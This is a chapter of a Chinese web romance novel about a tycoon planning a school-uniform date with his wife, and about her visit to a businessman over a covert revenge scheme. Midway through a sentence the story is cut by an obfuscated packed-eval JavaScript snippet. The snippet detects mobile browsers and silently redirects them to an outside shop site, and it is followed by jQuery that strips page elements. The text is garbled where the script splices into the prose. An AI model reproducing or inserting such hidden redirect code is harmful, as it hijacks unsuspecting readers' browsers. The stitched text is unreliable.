寰宇集团的大楼内,时绪对着电脑盯着看了一整头,脖子酸痛无力,终于有了片刻抬头的功夫。
今天阳光明媚,春天到了。
他拿起手机,点进相册,入目第一张照片就是前几天视频通话时他截的图。
图上,书棠穿着干净的校服,扎着高马尾,歪着头冲自己傻傻的笑。
“咚咚。”
“进。”时绪按灭了手机。
钟助理抱了一叠文件进来,“时总,这两份是需要您签字的,这份是明天开会的材料,这份是工厂新一批的采购单。”
“好,放这儿吧。”时绪一一扫过桌上的一排文件,抬起头,“都交代好了?”
“是,太太等下直接从车库走您的专用电梯上来。”钟助理今天下午一上班就接到了一个特殊的任务,给公司里几个大嘴巴上上眼药。
总裁办的人嘴都紧得很倒是没什么可担心的,但其他楼层爱看热闹的人可不少。
要是书棠出现在寰宇集团总裁办公室的照片被谁传出去,还不知道网上的那群人又会想到什么地方去。
“还有,时总,警察局那边刚刚来电,那个人的处罚结果已经下来了,入室杀人未遂被判三年有期徒刑。”
过了这么久,时绪都快把这人给忘了,“行。”
一个多月前,书棠遭遇无妄之灾那次趴在他们家窗前想要撬窗而入的那个人,时绪当时就报了警,但因为担心书棠害怕所以也没告诉她。
那个人是王家新请来的家教,在附近看到了书棠一次,理所应当的把书棠认定为被人包养。
恰好,这个人就是陈一原先的狂热粉丝,当时写道歉信的几个人里也有她。
“行。”时绪打开手机看了眼时间。
还来得及。
“你去找两套校服。”
钟助理一愣,开口又确认一遍:“校服?学生穿的那个?”
时绪抬眼,深邃的眼神像是在考虑什么时候把他辞了比较合适。
被冷不丁看了一眼,钟助理后悔的想要扇自己的嘴,校服不是学生穿的还能上谁穿的?
“明白。”他低头,“时总想要什么颜色的?”
什么颜色?
时绪转头看了眼窗外一碧如洗的蓝天。
一中的校服好像就是蓝色的。
“蓝的吧。”他脱口而出。
问清楚以后,钟助理也识趣的退下,不再多嘴。
老板这两年也不知道怎么了,穿衣风格没两个月就大变一次,前几个月还整了个黄毛出来,好像还被董事长劈头盖脸好一顿骂。
————————
书棠原本下午是想先去公司,但接到刘警官的电话后,她立马改了主意。
“师傅,去京韵庄园。”
“好嘞。”
这边与湖心别墅的布局差不多,住进来的人也是非富即贵。
车子拐进最中间的一处庄园,看门的保安光看车就知道是老板请来的贵宾,连问都没问几天开了门。
书棠下了车,年过半百的管家连忙迎上来,“是时太太吗?池总等您好久了。”
“只有池总一个人在家?”她莞尔一笑,招呼着司机从后座把准备好的补品拿出来,“来得匆忙,也没给池太太带点什么,下次我一定补上。”
“您说这话就见外了。”老管家做了个请的手势,“您里面请。”
书棠走进大门,别墅里飘着一股淡淡的药味,佣人不少,正在各司其职的打扫。
“书小姐?”
听到声音,书棠转身。
温绾还在读大三,今天是周五,她上完上午的课就回来了,这会儿正趴在沙发上追剧。
书棠礼貌的点头,“池太太在家呢,我太忙了都记不清时间了,还以为今天是星期四呢。”
温绾从沙发上坐起来,理了理头发,“书小姐是来找哥哥的吗?他在书房。”
哥哥?
打过招呼后书棠也没继续寒暄,一个人往二楼走,只是这声哥哥一出,她瞬间在脑子里脑补出了一大堆的骨科恋爱狗血故事。
一踏进二楼,书棠就看到一个白大褂的医生从书房里出来,拐进了另一间房。
她忍不住扭头往楼下看了眼。
温绾的病又严重了吗?
在书房前敲了两下门,里面立马传来一声轻飘飘的“请进。”
书棠推门而入。
“时太太来了,请坐。”池砚从电脑边站起身,走到茶几边倒了杯茶,“之前听时总说过,时太太喜欢喝白茶,尝尝味道怎么样。”
“谢谢。”书棠坐下,拿起茶杯抿了一口,笑道:“确实是好茶,我刚刚看到了医生,是池太太的身体又有什么不舒服吗?”
“没事。”池砚垂着眼,“时太太也知道,绾绾从小身体就不好,我回来以后就特意安排了一位医生住在家里,以防万一。”
书棠点点头,“那我就说正事了,那条短信是池总给我发的吧?”
池砚不置可否。
“负责秦永明那场案件的警察给我打了电话,听他的意思,张院长也要受罚,并且可能一撸到底了。”
个人恩怨牵扯进一位无辜的人,书棠怎么想都觉得不舒服。
池砚挑眉,“时太太后悔了?”
书棠没说话。
“这本来是私事。”池砚又倒了一杯茶,“但既然我和时太太现在是共犯了,我想也应该把话都说清楚。”
书棠道:“洗耳恭听。”
“家父...”池砚一顿,换了个说法:“绾绾的父亲过世后没多久,我也离开了温家,绾绾生病以后,温家那群人不肯照顾,就把绾绾甩给了一个叫张强的精神科医生。”
“那个张强表面儒雅端庄,其实就是金玉其外败絮其中,对小女孩格外的迷恋。绾绾在他手下带了三天弄了一身的伤,最后跑了回来,闹得差点自杀才没有二次被送走。”池砚的指骨在沙发扶手上有一下没一下的敲动,谈起这段过往,不免有些心痛,“所以,当我知道伤害时总的那个人患有精神疾病的时候,我就找上了时太太。因为我知道,没人会想看着凶手像拿着免死金牌一样逍遥法外。”
“可为什么你让我反复跟他强调要严加看护秦永明呢?”书棠秀眉微蹙。
她本身是想打个电话问清楚就好,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17913031|213206||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
没必要特意跑一趟。
但一想到刚才刘警官打的那通电话,她就有些胆怯了,还是借着看望温绾的理由上门问个清楚得好。
“张强这个人格外的自大,你越是跟他说什么他就越不在乎什么。”池砚笑问:“时太太一开始不是想兵行险招,直接拿钱收买吗?这要是出了事你也要被牵连进去,但现在这种情况和你和我都没有关系。”
听完这些,书棠都忍不住给他鼓个掌了。
“池总好手段。”
“多谢夸奖。”
从庄园离开,书棠一上车就兴奋的拿起手机开始跟虞今岁分享信息。
小海棠:啊啊啊啊!!记不记得我跟你说过的那对骨科兄妹了?
虞今岁连轴转了24个小时,本来想最后给小男朋友发条信息就休息的,结果看到书棠的信息立马来了精神。
岁岁年年:记得记得!怎么了怎么了?有新进展了吗?
小海棠:我今天去他们家了,那个男的跟我说起那个妹妹的父亲时一时没刹住车,说了一个家父!
小海棠:啊啊啊我真的磕了!我这辈子看小说最爱看的就是骨科!
————————
京韵庄园离寰宇不远,不到十五分钟车程。
钟助理把校服送上去没多久就一直在楼下等着了,亲自仔仔细细的检查了一遍停车场,没发现有狗仔跟拍。
“钟助理,好久不见呀。”书棠披着外套从车里出来。
“好久不见太太,您又变漂亮了。”钟助理关上车门,“这边请。”
不愧是时绪身边的人,就是会说话。
书棠一路夸到时绪办公室门口,她没戴口罩,一出电梯就有无数双眼睛往这儿看。
钟助理敲了敲门,“时总,太太到了。”
也没听里面说了什么,书棠直接推门进去。
“老公!”
钟助理面不改色的扫了一圈,示意该闭嘴的人都闭嘴。
等到他回到座位上,离的最远的一小堆连忙凑到了一起。
“那是谁啊?时总的老婆吗?”
“当然啦!你没听到钟哥说‘太太到了’也该听到那句‘老公’了呀!”
两人年龄都不大,刚毕业两年。
“我去!但是那不是...不是那个书棠吗?前几天还说是什么真大小姐,名门千金...”说话的人大为震惊,“哇!豪门联姻!”
还有半个小时时绪才下班,书棠乖乖的在办公室里溜达,他说今晚要出去约会让自己想想可以去哪里玩。
时绪的办公室里面有一间宽敞的休息室,和家里的卧室布置的差不多,就是小了一点。
书棠一进门就看到了平铺在床上的两套校服。
是蓝白色的,和原先高中的校服差不多。
“时绪!”她拎着衣服出来,直接坐到了他的怀里,雀跃道:“你准备校服干嘛?”
怕她滑下去,时绪下意识搂住她的腰,放下了手中的笔。
“你不是遗憾咱们没谈一场校园恋爱吗?”时绪捏捏她的脸,“正好今天是周五,很多小情侣都放学去约会,要不要去圆个梦?”